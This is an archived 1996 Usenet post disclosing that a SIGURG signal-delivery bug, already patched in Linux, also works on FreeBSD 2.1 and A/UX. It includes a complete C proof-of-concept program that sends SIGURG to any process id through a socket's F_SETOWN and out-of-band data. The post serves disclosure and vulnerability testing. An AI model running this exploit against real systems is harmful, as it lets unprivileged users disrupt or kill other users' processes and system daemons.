Return to BSD News archive
Path: euryale.cc.adfa.oz.au!newshost.anu.edu.au!news.gan.net.au!act.news.telstra.net!psgrain!news.uoregon.edu!newsxfer.itd.umich.edu!newsrelay.iastate.edu!vixen.cso.uiuc.edu!howland.reston.ans.net!surfnet.nl!tuegate.tue.nl!news.win.tue.nl!il.ft.hse.nl!not-for-mail
From: robert@il.ft.hse.nl (robert)
Newsgroups: comp.security.unix,comp.unix.bsd.freebsd.misc
Subject: SIGURG'ing...not only on Linux
Date: 20 Mar 1996 17:43:13 +0100
Organization: LSD...melts in your mind, not in your hand
Lines: 89
Message-ID: <4ipcj1$gsa@charm.il.ft.hse.nl>
NNTP-Posting-Host: charm.il.ft.hse.nl
Xref: euryale.cc.adfa.oz.au comp.security.unix:22790 comp.unix.bsd.freebsd.misc:15692
A few months back, someone discovered a bug in the Linux kernel with
which it was possible to send any process (whether it was owned by the
person using the bug or not) a SIGURG signal.
So, Linux kernel got patched...and the exploit doesn't work
anymore...not on Linux, that is.
With a very small modification, I found out that atleast on FreeBSD (2.1
release) and on A/UX (3.0.2), it's still possible to send any process
that SIGURG signal. Now it depends on the OS, and on the program itself,
whether or not this has consequences. On A/UX, I as mortal could kill
telnetd's and the cron daemon...not something you want.
If you want to determine if this bug can be exploited on your OS (I only
have access to A/UX, Linux and FreeBSD), try the attached program
(perhaps after some small compatibility changes).
robert
/*
Copyright (C) 1995 Marek Michalkiewicz
This program is free software, see the GNU General Public License
for more legalese... There is no warranty - after all, this bug
may be fixed soon :-).
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 8765 /* just a random hopefully unused TCP port */
#define ERROR_CHECK(x, msg) do { \
if ((x) == -1) { \
perror(msg); \
exit(1); \
} \
} while (0)
int main(int argc, char *argv[])
{
int s, s1, child_pid;
struct sockaddr_in addr;
int one = 1;
char c = 0;
if (argc != 2)
{
fprintf(stderr, "usage: %s pid\n", argv[0]);
exit(1);
}
ERROR_CHECK(s = socket(AF_INET, SOCK_STREAM, 0), "socket");
ERROR_CHECK(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one),
"setsockopt"
);
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;
ERROR_CHECK(bind(s, (struct sockaddr *) & addr, sizeof addr), "bind");
ERROR_CHECK(listen(s, 1), "listen");
ERROR_CHECK(child_pid = fork(), "fork");
if (child_pid == 0)
{
int pid_to_kill = atoi(argv[1]);
ERROR_CHECK(s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket");
ERROR_CHECK(connect(s1, (struct sockaddr *) & addr, sizeof addr), "child connect");
ERROR_CHECK(fcntl(s1, F_SETOWN, pid_to_kill), "child fcntl");
/* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
This is the changed line. The Linux version used an
ioctl()
*/
ERROR_CHECK(write(s1, &c, 1), "child write");
ERROR_CHECK(read(s1, &c, 1), "child read");
_exit(0);
}
ERROR_CHECK(s1 = accept(s, NULL, NULL), "accept");
ERROR_CHECK(read(s1, &c, 1), "read");
ERROR_CHECK(send(s1, &c, 1, MSG_OOB), "send");
return 0;
}